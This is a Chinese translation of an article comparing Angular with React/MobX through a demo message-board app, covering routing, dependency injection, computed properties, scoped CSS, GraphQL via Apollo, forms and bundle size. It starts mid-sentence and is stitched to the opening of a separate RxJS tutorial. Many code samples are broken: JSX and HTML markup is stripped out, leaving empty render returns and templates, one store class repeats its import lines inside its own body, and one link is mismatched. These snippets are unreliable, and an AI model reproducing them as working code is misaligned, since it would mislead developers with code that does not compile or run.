bug。 在组件加载(mount)的时候创建一个独立的数据仓库(而且可以无缝传递给此组件的子组件)非常方便,而且是一项很容易被忽略的概念。 Angular 中开箱即用的做法,在 MobX 中也很容易重现。 ### 路由 组件依赖的路由允许组件管理自身的子路由,而不是配置一个大的全局路由。这种方案终于在 `react-router` 4 里实现了。 ### Material Design 使用高级组件(higher-level components)总是很棒的,而 material design 已经成为即便是在非谷歌的项目中也被广泛接受的选择。 我特意选择了 [React Toolbox](http://react-toolbox.com/#/) 而不是通常推荐的 [Material UI](http://react-toolbox.com/#/),因为 Material UI 有一系列公开承认的行内 css [性能问题](https://github.com/callemall/material-ui/blob/master/ROADMAP.md#summarizing-what-are-our-main-problems-with-css),而它的开发者们计划在下个版本解决这些问题。 此外,React Toolbox 中已经开始使用即将取代 Sass/LESS 的 [PostCSS/cssnext](http://cssnext.io/)。 ### 带有作用域的 CSS CSS 的类比较像是全局变量一类的东西。有许多方法来组织 CSS 以避免互相起冲突(包括 [BEM](https://csswizardry.com/2013/01/mindbemding-getting-your-head-round-bem-syntax/)),但是当前的趋势是使用库辅助处理 CSS 以避免冲突,而不是需要[前端开发者](https://www.toptal.com/front-end)煞费苦心的设计精密的 CSS 命名系统。 ### 表单校验 表单校验是非常重要而且使用广泛的特性,使用相关的库可以有效避免冗余代码和 bug。 ### 程序生成器(Project Generator,也就是命令行工具) 使用一个命令行工具来创建项目比从 Github 上下载样板文件要方便的多。 ### 分别使用 React 与 Angular 实现同一个 app 那么我们准备使用 React 和 Anuglar 编写同一个 app。这个 app 并不复杂,只是一个可以供任何人发布帖子的公共贴吧(Shoutboard)。 你可以在这里体验到这个 app: - [使用 Angular 编写的贴吧](http://shoutboard-angular.herokuapp.com/) - [使用 React 编写的贴吧](https://shoutboard-react.herokuapp.com/) ![](https://cdn-images-1.medium.com/max/1600/0*wl5od5FrWzu83l6o.jpg) 如果想阅读本项目的完整源代码,可以从如下地址下载: - [贴吧源码 Angular 版](https://github.com/tomaash/shoutboard-angular) - [贴吧源码 React 版](https://github.com/tomaash/shoutboard-react) 你瞧,我们同样使用 TypeScript 编写 React app,因为能够使用类型检查的优势还是很赞的。作为一种处理引入更优秀的方式,async/await 以及 rest spread 如今终于可以在 TypeScript2 里使用,这样就不需要 Babel/ES7/[Flow](https://flow.org/) 了(leaves Babel/ES7/[Flow](https://flow.org/) in the dust)。 >薛定谔的猫:babel 的扩展很强大的。ts 不支持的 babel 都可以通过插件支持(stage0~stage4)。 同样,我们为两者添加了 [Apollo Client](https://github.com/apollographql/apollo-client),因为我希望使用 GraphQL 风格的接口。我的意思是,REST 风格的接口确实不错,但是经过十几年的发展后,它已经跟不上时代了。 ### 启动与路由 首先,让我们看一下两者的入口文件: #### Angular ``` // 路由配置 const appRoutes: Routes = [ { path: 'home', component: HomeComponent }, { path: 'posts', component: PostsComponent }, { path: 'form', component: FormComponent }, { path: '', redirectTo: '/home', pathMatch: 'full' } ] @NgModule({ // 项目中使用组件的声明 declarations: [ AppComponent, PostsComponent, HomeComponent, FormComponent, ], // 引用的第三方库 imports: [ BrowserModule, RouterModule.forRoot(appRoutes), ApolloModule.forRoot(provideClient), FormsModule, ReactiveFormsModule, HttpModule, BrowserAnimationsModule, MdInputModule, MdSelectModule, MdButtonModule, MdCardModule, MdIconModule ], // 与整个 app 生命周期关联的服务(service) providers: [ AppService ], // 启动时最先访问的组件 bootstrap: [AppComponent] }) @Injectable() export class AppService { username = 'Mr. User' } ``` 基本上,希望使用的组件要写在 `declarations` 中,需要引入的第三方库要写在 `imports` 中,希望注入的全局性数据仓库(global store)要写在 `providers` 中。子组件可以访问到已声明的变量,而且有机会可以添加一些自己的东西。 #### React ``` const appStore = AppStore.getInstance() const routerStore = RouterStore.getInstance() const rootStores = { appStore, routerStore } ReactDOM.render( , document.getElementById('root') ) ``` `` 组件在 MobX 中被用来依赖注入。它将数据仓库保存在上下文(context)中,这样 React 组件可以稍后进行注入。是的,React 上下文可以(大概)保证使用的[安全性](https://medium.com/@mweststrate/how-to-safely-use-react-context-b7e343eff076)。 ``` export class AppStore { static instance: AppStore static getInstance() { return AppStore.instance || (AppStore.instance = new AppStore()) } @observable username = 'Mr. User' } ``` React 版本的入口文件相对要简短一些,因为不需要做那么多模块声明 —— 通常的情况下,只要导入就可以使用了。有时候这种硬依赖很麻烦(比如测试的时候),所以对于全局单例来说,我只好使用老式的(decades-old) [GoF](https://www.wikiwand.com/en/Design_Patterns) [模式](https://en.wikipedia.org/wiki/Singleton_pattern)。 Angular 的路由是已注入的,所以可以在程序的任何地方使用,并不仅仅是组件中。为了在 React 中达到相同的功能,我们使用 [mobx-react-router](https://github.com/alisd23/mobx-react-router) 并注入`routerStore`。 总结:两个 app 的启动文件都非常直观。React 看起来更简单一点的,使用 import 代替了模块的加载。不过接下来我们会看到,虽然在入口文件中加载模块有点啰嗦,但是之后使用起来会很便利;而手动创建一个单例也有自己的麻烦。至于路由创建时的语法问题,是 JSON 更好还是 JSX 更好只是单纯的个人喜好。 ### 连接(Links)与命令式导航 现在有两种方法来进行页面跳转。声明式的方法,使用超链接 `
    ` 标签;命令式的方法,直接调用 routing (以及 location)API。 #### Angular ```

    Shoutboard Application

    Home Posts
    ``` Angular Router 自动检测处于当前页面的 `routerLink`,为其加载适当的 `routerLinkActive` CSS 样式,方便在页面中凸显。 router 使用特殊的 `` 标签来渲染当前路径对应的视图(不管是哪种)。当 app 的子组件嵌套的比较深的时候,便可以使用很多 `` 标签。 ``` @Injectable() export class FormService { constructor(private router: Router) { } goBack() { this.router.navigate(['/posts']) } } ``` 路由模块可以注入进任何服务(一半是因为 TypeScript 是强类型语言的功劳),`private` 的声明修饰可以将路由存储在组件的实例上,不需要再显式声明。使用 `navigate` 方法便可以切换路径。 #### React ``` import * as style from './app.css' // …

    Shoutboard Application

    Home Posts
    {this.props.children}
    ``` React Router 也可以通过 `activeClassName` 来设置当前连接的 CSS 样式。 然而,我们不能直接使用 CSS 样式的名称,因为经过 CSS 模块编译后(CSS 样式的名字)会变得独一无二,所以必须使用 `style` 来进行辅助。稍后会详细解释。 如上面所见,React Router 在 `` 标签内使用 `` 标签。因为 `` 标签只是包裹并加载当前路由,这意味着当前组件的子路由就是 `this.props.children`。当然这些子组件也是这么组成的。 ``` export class FormStore { routerStore: RouterStore constructor() { this.routerStore = RouterStore.getInstance() } goBack = () => { this.routerStore.history.push('/posts') } } ``` `mobx-router-store` 也允许简单的注入以及导航。 总结:两种方案都相当类似。Angular 看起来更直观,React 的组合更简单。 ### 依赖注入 事实证明,将数据层与展示层分离开是非常有必要的。我们希望通过依赖注入让数据逻辑层的组件(这里的叫法是 model/store/service)关联上表示层组件的生命周期,这样就可以创造一个或多个的数据层组件实例,不需要干扰全局状态。同时,这么做更容易兼容不同的数据与可视化层。 这篇文章的例子非常简单,所有的依赖注入的东西看起来似乎有点画蛇添足。但是随着 app 业务的增加,这种做法会很方便的。 #### Angular ``` @Injectable() export class HomeService { message = 'Welcome to home page' counter = 0 increment() { this.counter++ } } ``` 任何类(class)均可以使用 `@injectable` 的装饰器进行修饰,这样它的属性与方法便可以在其他组件中调用。 ``` @Component({ selector: 'app-home', templateUrl: './home.component.html', providers: [ HomeService // 注册在这里 ] }) export class HomeComponent { constructor( public homeService: HomeService, public appService: AppService, ) { } } ``` 通过将 `HomeService` 注册进组件的 `providers`,此组件获得了一个独有的 `HomeService`。它不是单例,但是每一个组件在初始化的时候都会收到一个新的 `HomeService` 实例化对象。这意味着不会有之前 `HomeService` 使用过的过期数据。 相对而言,`AppService` 被注册进了 `app.module` 文件(参见之前的入口文件),所以它是驻留在每一个组件中的单例,贯穿整个 app 的生命周期。能够从组件中控制服务的声明周期是一项非常有用、而且常被低估的概念。 依赖注入通过在 TypeScript 类型定义的组件构造函数(constructor)内分配服务(service)的实例来起作用(译者:也就是上面代码中的 `public homeService: HomeService`)。此外,`public` 的关键词修饰的参数会自动赋值给 `this` 的同名变量,这样我们就不必再编写那些无聊的 `this.homeService = homeService` 代码了。 ```

    Dashboard


    Clicks since last visit: {{homeService.counter}}
    ``` Angular 的模板语法被证明相当优雅(译者:其实这也算是个人偏好问题),我喜欢 `[()]` 的缩写,这样就代表双向绑定(2-way data binding)。但是其本质上(under the hood)是属性绑定 + 事件驱动。就像(与组件关联后)服务的生命周期所规定的那样,`homeService.counter` 每次离开 `/home` 页面的时候都会重置,但是 `appService.username` 会保留,而且可以在任何页面访问到。 #### React ``` import { observable } from 'mobx' export class HomeStore { @observable counter = 0 increment = () => { this.counter++ } } ``` 如果希望通过 MobX 实现同样的效果,我们需要在任何需要监听其变化的属性上添加 `@observable` 装饰器。 ``` @observer export class Home extends React.Component { homeStore: HomeStore componentWillMount() { this.homeStore = new HomeStore() } render() { return } } ``` 为了正确的控制(数据层的)生命周期,开发者必须比 Angular 例子多做一点工作。我们用 `Provider` 来包裹 `HomeComponent` ,这样在每次加载的时候都获得一个新的 `HomeStore` 实例。 ``` interface HomeComponentProps { appStore?: AppStore, homeStore?: HomeStore } @inject('appStore', 'homeStore') @observer export class HomeComponent extends React.Component { render() { const { homeStore, appStore } = this.props return

    Dashboard

    Clicks since last visit: {homeStore.counter}
    } } ``` `HomeComponent` 使用 `@observer` 装饰器监听被 `@observable` 装饰器修饰的属性变化。 其底层机制很有趣,所以我们简单的介绍一下。`@observable` 装饰器通过替换对象中(被观察)属性的 getter 和 setter 方法,拦截对该属性的调用。当被 `@observer` 修饰的组件调用其渲染函数(render function)时,这些属性的 getter 方法也会被调用,getter 方法会将对属性的引用保存在调用它们的组件上。 然后,当 setter 方法被调用、这些属性的值也改变的时候,上一次渲染这些属性的组件会(再次)调用其渲染函数。这样被改变过的属性会在界面上更新,然后整个周期会重新开始(译者注:其实就是典型的观察者模式啊...)。 这是一个非常简单的机制,也是很棒的特性。更深入的解释在[这里](https://medium.com/@mweststrate/becoming-fully-reactive-an-in-depth-explanation-of-mobservable-55995262a254). `@inject` 装饰器用来将 `appStore` 和 `homeStore` 的实例注入进 `HomeComponent` 的属性。这种情况下,每一个数据仓库(也)具有不同的生命周期。`appStore` 的生命周期同样也贯穿整个 app,而 `homeStore` 在每次进入 "/home" 页面的时候重新创建。 这么做的好处,是不需要手动清理属性。如果所有的数据仓库都是全局变量,每次详情页想展示不同的数据就会很崩溃(译者:因为每次都要手动擦掉上一次的遗留数据)。 总结:因为自带管理生命周期的特性,Angular 的依赖注入更容易获得预期的效果。React 版本的做法也很有效,但是会涉及到更多的引用。 ### 计算属性 #### React 这次我们先讲 React,它的做法更直观一些。 ``` import { observable, computed, action } from 'mobx' export class HomeStore { import { observable, computed, action } from 'mobx' export class HomeStore { @observable counter = 0 increment = () => { this.counter++ } @computed get counterMessage() { console.log('recompute counterMessage!') return `${this.counter} ${this.counter === 1 ? 'click' : 'clicks'} since last visit` } } ``` 这样我们就将计算属性绑定到 `counter` 上,同时返回一段根据点击数量来确定的信息。`counterMessage` 被放在缓存中,只有当 `counter` 属性被改变的时候才重新进行处理。 ``` {homeStore.counterMessage} ``` 然后我们在 JSX 模版中引用此属性(以及 `increment` 方法)。再将用户的姓名数据绑定在输入框上,通过 `appStore` 的一个方法处理用户的(输入)事件。 #### Angular 为了在 Angular 中实现相同的结果,我们必须另辟蹊径。 ``` import { Injectable } from '@angular/core' import { BehaviorSubject } from 'rxjs/BehaviorSubject' @Injectable() export class HomeService { message = 'Welcome to home page' counterSubject = new BehaviorSubject(0) // Computed property can serve as basis for further computed properties // 初始化属性,可以作为进一步属性处理的基础 counterMessage = new BehaviorSubject('') constructor() { // Manually subscribe to each subject that couterMessage depends on // 手动订阅 couterMessage 依赖的方法 this.counterSubject.subscribe(this.recomputeCounterMessage) } // Needs to have bound this // 需要设置约束 private recomputeCounterMessage = (x) => { console.log('recompute counterMessage!') this.counterMessage.next(`${x} ${x === 1 ? 'click' : 'clicks'} since last visit`) } increment() { this.counterSubject.next(this.counterSubject.getValue() + 1) } } ``` 我们需要初始化所有计算属性的值,也就是所谓的 `BehaviorSubject`。计算属性自身同样也是 `BehaviorSubject` ,因为每次计算后属性都是另一个计算属性的基础。 当然,RxJs 可以做的[远不于此](https://www.sitepoint.com/functional-reactive-programming-rxjs/),不过还是留待另一篇文章去详细讲述吧。在简单的情况下强行使用 Rxjs 处理计算属性的话反而会比 React 例子要麻烦一点,而且程序员必须手动去订阅(就像在构造函数中做的那样)。 ``` {{homeService.counterMessage | async}} ``` 注意,我们可以通过 `| async` 的管道(pipe)来引用 RxJS 项目。这是一个很棒的做法,比在组件中订阅要简短一些。用户姓名与输入框则通过 `[(ngModel)]` 实现了双向绑定。尽管看起来很奇怪,但这么做实际上相当优雅。就像一个数据绑定到 `appService.username` 的语法糖,而且自动相应用户的输入事件。 总结:计算属性在 React/MobX 比在 Angular/RxJ 中更容易实现,但是 RxJS 可以提供一些有用的函数式响应编程(FRP)的、不久之后会被人们所称赞的新特性。 ### 模板与 CSS 为了演示两者的模版栈是多么的相爱相杀(against each other),我们来编写一个展示帖子列表的组件。 #### Angular ``` @Component({ selector: 'app-posts', templateUrl: './posts.component.html', styleUrls: ['./posts.component.css'], providers: [ PostsService ] }) export class PostsComponent implements OnInit { // 译者:请注意这里的 implements OnInit // 这是 Angular 4 为了实现控制组件生命周期而提供的钩子(hook)接口 constructor( public postsService: PostsService, public appService: AppService ) { } // 这里是对 OnInit 的具体实现,必须写成 ngOnInit // ngOnInit 方法在组件初始化的时候会被调用 // 以达到和 React 中 componentWillMount 相同的作用 // Angular 4 还提供了很多用于控制生命周期钩子 // 结果译者都没记住(捂脸跑) ngOnInit() { this.postsService.initializePosts() } } ``` 本组件(指 post.component.ts 文件)连接了此组件(指具体的帖子组件)的 HTML、CSS,而且在组件初始化的时候通过注入过的服务从 API 读取帖子的数据。AppService 是一个定义在 app 入口文件中的单例,而 PostsService 则是暂时的、每次创建组件时都会重新初始化的一个实例(译者:又是不同生命周期的不同数据仓库)。CSS 被引用到组件内,以便于将作用域限定在本组件内 —— 这意味着它不会影响组件外的东西。 ```

    Hello {{appService.username}}

    {{post.title}} {{post.name}}

    {{post.message}}

    ``` 在 HTML 模版中,我们从 Angular Material 引用了大部分组件。为了保证其正常使用,必须把它们包含在 app.module 的 import 里(参见上面的入口文件)。*ngFor 指令用来循环使用 md-card 输出每一个帖子。 **Local CSS:** ``` .mat-card { margin-bottom: 1rem; } ``` 这段局部 CSS 只在 `md-card` 组件中起作用 **Global CSS:** ``` .float-right { float: right; } ``` 这段 CSS 类定义在全局样式文件 `style.css` 中,这样所有的组件都可以用标准的方法使用它(指 style.css 文件)的样式,class="float-right"。 **Compiled CSS:** ``` .float-right { float: right; } .mat-card[_ngcontent-c1] { margin-bottom: 1rem; } ``` 在编译后的 CSS 文件中,我们可以发现局部 CSS 的作用域通过添加 `[_ngcontent-c1]` 的属性选择器被限定在本组件中。每一个已渲染的 Angular 组件都会产生一个用作确定 CSS 作用域的类。 这种机制的优势是我们可以正常的引用 CSS 样式,而 CSS 的作用域在后台被处理了(is handled “under the hood”)。 #### React ``` import * as style from './posts.css' import * as appStyle from '../app.css' @observer export class Posts extends React.Component { postsStore: PostsStore componentWillMount() { this.postsStore = new PostsStore() this.postsStore.initializePosts() } render() { return } } ``` 在 React 中,开发者又一次需要使用 Provider 来使 PostsStore 的 依赖“短暂(transient)”。我们同样引入 CSS 样式,声明为 `style` 以及 `appStyle` ,这样就可以在 JSX 语法中使用 CSS 的样式了。 ``` interface PostsComponentProps { appStore?: AppStore, postsStore?: PostsStore } @inject('appStore', 'postsStore') @observer export class PostsComponent extends React.Component { render() { const { postsStore, appStore } = this.props return
    } } ``` 当然,JSX 的语法比 Angular 的 HTML 模版更有 javascript 的风格,是好是坏取决于开发者的喜好。我们使用高阶函数 `map` 来代替 *ngFor 指令循环输出帖子。 如今,Angular 也许是使用 TypeScript 最多的框架,但是实际上 JSX 语法才是 TypeScript 能真正发挥作用的地方。通过添加 CSS 模块(在顶部引入),它能够让模版编码的工作成为依靠插件进行代码补全的享受(it really turns your template coding into code completion zen)。每一个事情都是经过类型检验的。组件、属性甚至 CSS 类(`appStyle.floatRight` 以及 `style.messageCard` 见下)。当然,JSX 语法的单薄特性比起 Angular 的模版更鼓励将代码拆分成组件和片段(fragment)。 **Local CSS:** ``` .messageCard { margin-bottom: 1rem; } ``` **Global CSS:** ``` .floatRight { float: right; } ``` **Compiled CSS:** ``` .floatRight__qItBM { float: right; } .messageCard__1Dt_9 { margin-bottom: 1rem; } ``` 如你所见,CSS 模块加载器通过在每一个 CSS 类之后添加随机的后缀来保证其名字独一无二。这是一种非常简单的、可以有效避免命名冲突的办法。(编译好的)CSS 类随后会被 webpack 打包好的对象引用。这么做的缺点之一是不能像 Angular 那样只创建一个 CSS 文件来使用。但是从另一方面来说,这也未尝不是一件好事。因为这种机制会强迫你正确的封装 CSS 样式。 总结:比起 Angular 的模版,我更喜欢 JSX 语法,尤其是支持代码补全以及类型检查。这真是一项杀手锏(really is a killer feature)。Angular 现在采用了 AOT 编译器,也有一些新的东西。大约有一半的情况能使用代码补全,但是不如 JSX/TypeScript 中做的那么完善。 ### GraphQL — 加载数据 那么我们决定使用 GraphQL 来保存本 app 的数据。在服务端创建 GraphQL 风格的接口的简单方法之一就是使用后端即时服务(Baas),比如说 Graphcool。其实,我们就是这么做的。基本上,开发者只需要定义数据模型和属性,随后就可以方便的进行增删改查了。 #### 通用代码 因为很多 GraphQL 相关的代码实现起来完全相同,那么我们不必重复编写两次: ``` const PostsQuery = gql` query PostsQuery { allPosts(orderBy: createdAt_DESC, first: 5) { id, name, title, message } } ` ``` 比起传统的 REST 风格的接口,GraphQL 是一种为了提供函数性富集合的查询语言。让我们分析一下这个特定的查询。 - `PostsQuery` 只是该查询被随后引用的名称,可以任意起名。 - allPosts 是最重要的部分:它是查询所有帖子数据函数的引用。这是 Graphcool 创建的名字。 - `orderBy` 和 `first` 是 allPost 的参数,`createdAt` 是帖子数据模型的一个属性。`first: 5` 意思是返回查询结果的前 5 条数据。 - `id`、`name`、`title`、以及 `message` 是我们希望在返回的结果中包含`帖子`的数据属性,其他的属性会被过滤掉。 你瞧,这真的太棒了。仔细阅读[这个页面](http://graphql.org/learn/queries/)的内容来熟悉更多有关 GraphQL 查询的东西。 ``` interface Post { id: string name: string title: string message: string } interface PostsQueryResult { allPosts: Array } ``` 然后,作为 TypeScript 的模范市民,我们通过创建接口来处理 GraphQL 的结果。 #### Angular ``` @Injectable() export class PostsService { posts = [] constructor(private apollo: Apollo) { } initializePosts() { this.apollo.query({ query: PostsQuery, fetchPolicy: 'network-only' }).subscribe(({ data }) => { this.posts = data.allPosts }) } } ``` GraphQL 查询结果集是一个 RxJS 的被观察者类(observable),该结果集可供我们订阅。它有点像 Promise,但并不是完全一样,所以我们不能使用 async/await。当然,确实有 toPromise 方法(将其转化为 Promise 对象),但是这种做法并不是 Angular 的风格(译者:那为啥 Angular 4 的入门 demo 用的就是 toPromise...)。我们通过设置 `fetchPolicy: 'network-only'` 来保证在这种情况不进行缓存操作,而是每次都从服务端获取最新数据。 #### React ``` export class PostsStore { appStore: AppStore @observable posts: Array = [] constructor() { this.appStore = AppStore.getInstance() } async initializePosts() { const result = await this.appStore.apolloClient.query({ query: PostsQuery, fetchPolicy: 'network-only' }) this.posts = result.data.allPosts } } ``` React 版本的做法差不多一样,不过既然 `apolloClient` 使用了 Promise,我们就可以体会到 async/await 语法的优点了(译者:async/await 语法的优点便是用写同步代码的模式处理异步情况,不必在使用 Promose 的 then 回调,逻辑更清晰,也更容易 debug)。React 中有其他做法,便是在[高阶组件](https://github.com/apollographql/react-apollo)中“记录” GraphQL 查询结果集,但是对我来说这么做显得数据层和展示层耦合度太高了。 总结:RxJS 中的订阅以及 async/await 其实有着非常相似的观念。 ### GraphQL — 保存数据 #### 通用代码 同样的,这是 GraphQL 相关的代码: ``` const AddPostMutation = gql` mutation AddPostMutation($name: String!, $title: String!, $message: String!) { createPost( name: $name, title: $title, message: $message ) { id } } ` ``` 修改(mutations,GraphQL 术语)的目的是为了创建或者更新数据。在修改中声明一些变量是十分有益的,因为这其实是传递数据的方式。我们有 `name`、`title`、以及 `message` 这些变量,类型为字符串,每次调用本修改的时候都会为其赋值。`createPost` 函数,又一次是由 Graphcool 来定义的。我们指定 `Post` 数据模型的属性会从修改(mutation)对应的属性里获得属性值,而且希望每创建一条新数据的时候都会返回一个新的 id。 #### Angular ``` @Injectable() export class FormService { constructor( private apollo: Apollo, private router: Router, private appService: AppService ) { } addPost(value) { this.apollo.mutate({ mutation: AddPostMutation, variables: { name: this.appService.username, title: value.title, message: value.message } }).subscribe(({ data }) => { this.router.navigate(['/posts']) }, (error) => { console.log('there was an error sending the query', error) }) } } ``` 当调用 `apollo.mutate` 方法的时候,我们会传入一个希望的修改(mutation)以及修改中所包含的变量值。然后在订阅的回调函数中获得返回结果,使用注入的`路由`来跳转帖子列表页面。 #### React ``` export class FormStore { constructor() { this.appStore = AppStore.getInstance() this.routerStore = RouterStore.getInstance() this.postFormState = new PostFormState() } submit = async () => { await this.postFormState.form.validate() if (this.postFormState.form.error) return const result = await this.appStore.apolloClient.mutate( { mutation: AddPostMutation, variables: { name: this.appStore.username, title: this.postFormState.title.value, message: this.postFormState.message.value } } ) this.goBack() } goBack = () => { this.routerStore.history.push('/posts') } } ``` 和上面 Angular 的做法非常相似,差别就是有更多的“手动”依赖注入,更多的 async/await 的做法。 总结:又一次,并没有太多不同。订阅与 async/await 基本上就那么点差异。 ### 表单: 我们希望在 app 中用表单达到以下目标: - 将表单作用域绑定至数据模型 - 为每个表单域进行校验,有多条校验规则 - 支持检查整个表格的值是否合法 #### React ``` export const check = (validator, message, options) => (value) => (!validator(value, options) && message) export const checkRequired = (msg: string) => check(nonEmpty, msg) export class PostFormState { title = new FieldState('').validators( checkRequired('Title is required'), check(isLength, 'Title must be at least 4 characters long.', { min: 4 }), check(isLength, 'Title cannot be more than 24 characters long.', { max: 24 }), ) message = new FieldState('').validators( checkRequired('Message cannot be blank.'), check(isLength, 'Message is too short, minimum is 50 characters.', { min: 50 }), check(isLength, 'Message is too long, maximum is 1000 characters.', { max: 1000 }), ) form = new FormState({ title: this.title, message: this.message }) } ``` [formstate](https://formstate.github.io/#/) 的库是这么工作的:对于每一个表单域,需要定义一个 `FieldState`。`FieldState` 的参数是表单域的初始值。`validators` 属性接受一个函数做参数,如果表单域的值有效就返回 false;如果表单域的值非法,那么就弹出一条提示信息。通过使用 `check`、`checkRequired` 这两个辅助函数,可以使得声明部分的代码看起来很漂亮。 为了对整个表单进行验证,最好使用另一个 FormState 实例来包裹这些字段,然后提供整体有效性的校验。 ``` @inject('appStore', 'formStore') @observer export class FormComponent extends React.Component { render() { const { appStore, formStore } = this.props const { postFormState } = formStore return

    Create a new post

    You are now posting as {appStore.username}

    ``` `FormState` 实例拥有 `value`、`onChange`以及 `error` 三个属性,可以非常方便的在前端组件中使用。 ```

    ``` 最重要的是引用我们通过 FormBuilder 创建的表单组,也就是 `[formGroup]="postForm"` 分配的数据。表单中的表单域通过 `formControlName` 的属性来限定表单的数据。当然,还得在表单数据验证失败的时候禁用 “Submit” 按钮。顺便还需要添加脏数据检查,因为这种情况下,脏数据可能会引起表单校验不通过。我们希望每次初始化 button 都是可用的。 总结:对于 React 以及 Angular 的表单方面来说,表单校验和前端模版差别都很大。Angular 的方法是使用一些更“魔幻”的做法而不是简单的绑定,但是从另一方面说,这么做的更完整也更彻底。 ### 编译文件大小 Oh, one more thing. The production minified JS bundle sizes, with default settings from the application generators: notably Tree Shaking in React and AOT compilation in Angular. 啊,还有一件事。那就是使用程序默认设置进行打包后 bundle 文件的大小:特指 React 中的 Tree Shaking 以及 Angular 中的 AOT 编译。 - Angular: 1200 KB - React: 300 KB 嗯,并不意外,Angular 确实是个巨无霸。 使用 gzip 进行压缩的后,两者的大小分别会降低至 275kb 和 127kb。 请记住,这还只是主要的库。相比较而言真正处理逻辑的代码是很小的部分。在真实的情况下,这部分的比率大概是 1:2 到 1:4 之间。同时,当开发者开始在 React 中引入一堆第三方库的时候,文件的体积也会随之快速增长。 ### 库的灵活性与框架的稳定性 那么,看起来我们还是无法(再一次)对 “Angular 与 React 中何者才是更好的前端开发框架”给出明确的答案。 事实证明,React 与 Angular 中的开发工作流程可以非常相似(译者:因为用的是 mobx 而不是 redux),而这其实和使用 React 的哪一个库有关。当然,这还是一个个人喜好问题。 如果你喜欢现成的技术栈,牛逼的依赖注入而且计划体验 RxJS 的好处,那么选择 Angular 吧。 如果你喜欢自由定制自己的技术栈,喜欢 JSX 的直观,更喜欢简单的计算属性,那么就用 React/MobX 吧。 当然,你可以从[这里](https://github.com/tomaash/shoutboard-angular)以及[这里](https://github.com/tomaash/shoutboard-react)获得本文 app 的所有源代码。 或者,如果你喜欢大一点的真实项目: - [RealWorld Angular 4+](https://github.com/gothinkster/angular-realworld-example-app) - [RealWorld React/MobX](https://github.com/gothinkster/react-mobx-realworld-example-app) ### 先选择自己的编程习惯 使用 React/MobX 实际上比起 React/Redux 更接近于 Angular。虽然在模版以及依赖管理中有一些显著的差异,但是它们有着相似的可变/数据绑定的风格。 React/Redux 与它的不可变/单向数据流的模式则是完全不同的另一种东西。 不要被 Redux 库的体积迷惑,它也许很娇小,但确实是一个框架。如今大部分 Redux 的优秀做法关注使用兼容 Redux 的库,比如用来处理异步代码以及获取数据的 [Redux Saga](https://redux-saga.js.org/),用来管理表单的 [Redux Form](http://redux-form.com/),用来记录选择器(Redux 计算后的值)的[Reselect](https://github.com/reactjs/reselect),以及用来管理组件生命周期的 [Recompose](https://github.com/acdlite/recompose)。同时 Redux 社区也在从 [Immutable.js](https://facebook.github.io/immutable-js/) 转向 [lodash/fp](https://github.com/lodash/lodash/wiki/FP-Guide),更专注于处理普通的 JS 对象而不是转化它们。 [React Boilerplate](https://github.com/react-boilerplate/react-boilerplate)是一个非常著名的使用 Redux 的例子。这是一个强大的开发栈,但是如果你仔细研究的话,会发现它与到目前为止本文提到的东西非常、非常不一样。 我觉得主流 JavaScript 社区一直对 Angular 抱有某种程度的偏见(译者:我也有这种感觉,作为全公司唯一会 Angular 的稀有动物每次想在组内推广 Angular 都会遇到无穷大的阻力)。大部分对 Angular 表达不满的人也许还无法欣赏到 Angular 中老版本与新版本之间的巨大改变。以我的观点来看,这是一个非常整洁高效的框架,如果早一两年出现肯定会在世界范围内掀起一阵 Angular 的风潮(译者:可惜早一两年出的是 Angular 1.x)。 当然,Angular 还是获得了一个坚实的立足点。尤其是在大型企业中,大型团队需要标准化和长期化的支持。换句话说,Angular 是谷歌工程师们认为前端开发应有的样子,如果它终究能有所成就的话(amounts to anything)。 对于 MobX 来说,处境也差不多。十分优秀,但是受众不多。 结论是:在选择 React 与 Angular 之前,先选择自己的编程习惯(译者:这结论等于没结论)。 是可变的/数据绑定,还是不可变的/单向数据流?看起来真的很难抉择。 > 我希望你能喜欢这篇客座文章。这篇[文章](https://www.toptal.com/front-end/angular-vs-react-for-web-development)最初发表在 [Toptal](https://www.toptal.com/front-end/),并且已经获得转载授权。 --- #### ❤ 如果你喜欢这篇文章,轻轻扎一下小蓝心吧老铁 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/animated-intro-rxjs.md ================================================ > * 原文地址:[An Animated Intro to RxJS](https://css-tricks.com/animated-intro-rxjs/) > * 原文作者:[David Khourshid](https://css-tricks.com/author/davidkpiano/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: [luoyaqifei](http://www.zengmingxia.com) > * 校对者:[vuuihc](https://github.com/vuuihc),[AceLeeWinnie](https://github.com/AceLeeWinnie) # 看动画,学 RxJS 你以前可能听过 RxJS、ReactiveX、响应式编程,或者只是函数式编程。当我们谈论最新的、最伟大的前端技术时,这些术语正变得越来越重要。如果你的学习心路像我一样,那么你在最开始学习它时一定也是一头雾水。 根据 [ReactiveX.io](http://reactivex.io/): > ReactiveX 是一个库,它使用可观察(observable)序列,用于组织异步的、基于事件的程序。 单单在这句话里,就有许多值得我们琢磨的东西。在本文中,通过创建 **响应式动画**,我们将采用一种不同的做法来学习 RxJS(ReactiveX 的 JavaScript 实现)和 Observable(可观察对象)。 ### 理解 Observable 数组即元素集合,比如说 `[1, 2, 3, 4, 5]`。你能够马上拿到所有的元素,并且可以对它们做一些诸如 [map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map) 和 [filter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter) 这样的操作。这使得你可以将元素集合用你想要的方式转换。 现在假定数组里的每个元素 **伴随时间流动** 出现,也就是说,你不是马上拿到所有的元素,而是一次拿到一个。你可能在第一秒拿到第一个元素,第三秒拿到下一个,诸如此类。就像图中展现的这样: ![](https://cdn.css-tricks.com/wp-content/uploads/2017/02/rx-article-1.svg) 这就被称为数据流,或者是事件序列,或者更加贴切地说,一个 **observable**。 一个 **observable** 就是一个伴随着时间流动的数据集合。 就像对数组做的那些操作一样,你可以对这些数据进行 map、filter 